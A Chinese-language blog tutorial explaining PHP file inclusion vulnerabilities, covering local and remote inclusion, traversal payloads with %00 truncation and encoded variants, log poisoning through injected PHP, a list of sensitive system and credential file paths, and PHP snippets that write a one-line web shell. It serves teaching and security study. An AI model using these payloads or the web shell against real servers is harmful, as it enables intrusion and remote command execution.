文件包含漏洞

文件包含漏洞

什么是文件包含

简单一句话,为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。

php文件包含函数

  • include( )
    当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含
    进来,发生错误时之给出一个警告,继续向下执行。

  • include_once( )
    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次

  • require( )
    require()与include()的区别在于require()执行如果发生错误,函数会输出
    错误信息,并终止脚本的运行。

  • require_once( )

功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中
居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。这

与程序开发人员的水平无关,而问题在于语言设计的弊端

文件包含漏洞的成因

在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时,用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞。通常文件包含漏洞出现在PHP语言中。

文件包含分类

大致分为本地包含和远程包含

  • 本地包含

    • 什么是本地包含

      本地包含是指包含存在于服务器本身的文件

    • 漏洞原理

      文件包含可以包含任意文件,即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。

      当然:当成脚本语言执行的前提是符合脚本语言的格式。 如果不符合,就会输出文件内容。

    • 一个简单的例子

      包含了一个文件,当包含a.txt文件时

      这个a.txt文件就会被当成php文件执行.

      当a.txt文件中代码格式不符合php代码格式时,比如

      http://127.0.0.1/text/index.php?file=a.txt      #使用该url访问后为
      

      发现输出了源文件。

    • 本地包含可以做什么

      相信通过上面的小例子,你已经知道了文件包含的特性。

      • 源文件泄露,文件读取

      假设一种情况,你访问的那个网站存在文件读取漏洞,并没有限制访问上一级目录,

      你可以通过../../etc/passwd 访问到敏感文件。

      目录遍历漏洞。

      include 'home/www/'.$file.'.php';
      

      当包含文件这样限制后缀名时,可以使用一个绕过小技巧

      %00截断。

      使用条件:

      php版本<5.3

      PHPmagic_quotes_gpc = off;
      PHP对所接收的参数,如以上代码的$_GET['file']未使用addslashes函数

      ../../etc/passwd%00
      

      常见的目录遍历漏洞,还可以通过不同的编码方式绕过一些服务器的逻辑

      • %2e%2e%2f等同于../
      • %2e%2e/等同于../
      • ../等同于../
      • %2e%2e%5c等同于..\
      • %2e%2e\等同于..\
      • ..%5c等同于..\
      • %252e%252e%255c等同于..\
      • 某一些web容器支持的编码方式:
      • ..%c0%af等同于../
      • %c1%9c等同于..\
      • 与文件上传漏洞联合出击

      当文件上传时,不能上传php文件的时候,可以上传图片马,然后使用文件包含漏洞进行包含图片马,

      可以达到脚本被执行的目的。

      • 日志包含

      当不能上传文件的时候可以试试日志包含。

      具体步骤为:

      • bp抓包

      在请求里面输入<?php phpinfo();?> 发起请求会出现404报错,不过没关系,我们的恶意代码已经写入到日志文件里面了

      日志文件被写入:

      • 利用
      http://127.0.0.1/text/index.php?file=../../Extensions/Apache2.4.39/logs/access.log
      

      我的相对路径是

      ../../Extensions/Apache2.4.39/logs/access.log
      

      如果是linux操作系统的话路径可能是

      /var/log/httpd/access_log
      

      执行结果:

      发现已经被成功执行。

    • 恶意代码

    当然只执行phpinfo(),可能并不能达到我们的目的。

    可以使用以下代码

    <?php$myfile=fopen('../../../WWW/hack.php','w');$txt='<?php system($_GET['hack']);?>';fwrite($myfile,$txt);fclose($myfile);?>
    

    注意:构建代码的时候不要有空格.要不会被截断

  • 敏感路径

    1 Windows
    C:\boot.ini //查看系统版本
    C:\windows\system32\inetsrv\MetaBase.xml //IIS 配置文件
    C:\windows\repair\sam //存储 windows 系统初次安装的密码
    C:\Program Files\mysql\my.ini //mysql 配置
    C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
    C:\windows\php.ini //php 配置信息
    C:\windows\my.ini //mysql 配置文件

    2 UNIX/Linux
    /etc/passwd
    /usr/local/app/apache2/conf/httpd.conf //apache2 默认配置文件
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    /usr/local/app/php5/lib/php.ini //PHP 相关配置
    /etc/httpd/conf/httpd.conf //apache
    /etc/php5/apache2/php.ini //ubuntu 系统的默认路径

    日志默认路径
    (1) apache+Linux 日志默认路径
    /etc/httpd/logs/access_log
    或者
    /var/log/httpd/access_log

    (2) apache+win2003 日志默认路径
    D:\xampp\apache\logs\access.log
    D:\xampp\apache\logs\error.log

    (3) IIS6.0+win2003 默认日志文件
    C:\WINDOWS\system32\Logfiles

    (4) IIS7.0+win2003 默认日志文件
    %SystemDrive%\inetpub\logs\LogFiles

    (5) nginx 日志文件
    日志文件在用户安装目录 logs 目录下
    以我的安装路径为例/usr/local/nginx,
    那我的日志目录就是在/usr/local/nginx/logs里
    web 中间件默认配置
    (1) apache+linux 默认配置文件
    /etc/httpd/conf/httpd.conf
    或者
    index.php?page=/etc/init.d/httpd
    (2) IIS6.0+win2003 配置文件
    C:/Windows/system32/inetsrv/metabase.xml
    (3) IIS7.0+WIN 配置文件
    C:\Windows\System32\inetsrv\config\applicationHost.con

  • 远程包含

    • 前提条件

      当配置文件Allow_url_include = on是可以包含远程文件的。

    • 漏洞原理

      通过调用攻击者远程服务器上的恶意代码,来对受害者的机器生成木马,等等

    • 利用方法

      <?php
         $myfile = fopen("hack.php", "w");
         $txt = '<?php system($_GET["hack"]);?>';
         fwrite($myfile, $txt);
         fclose($myfile);
      ?>
      

      上面代码可以生成一个一句话木马文件。

posted @   戴好面具  阅读(88)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示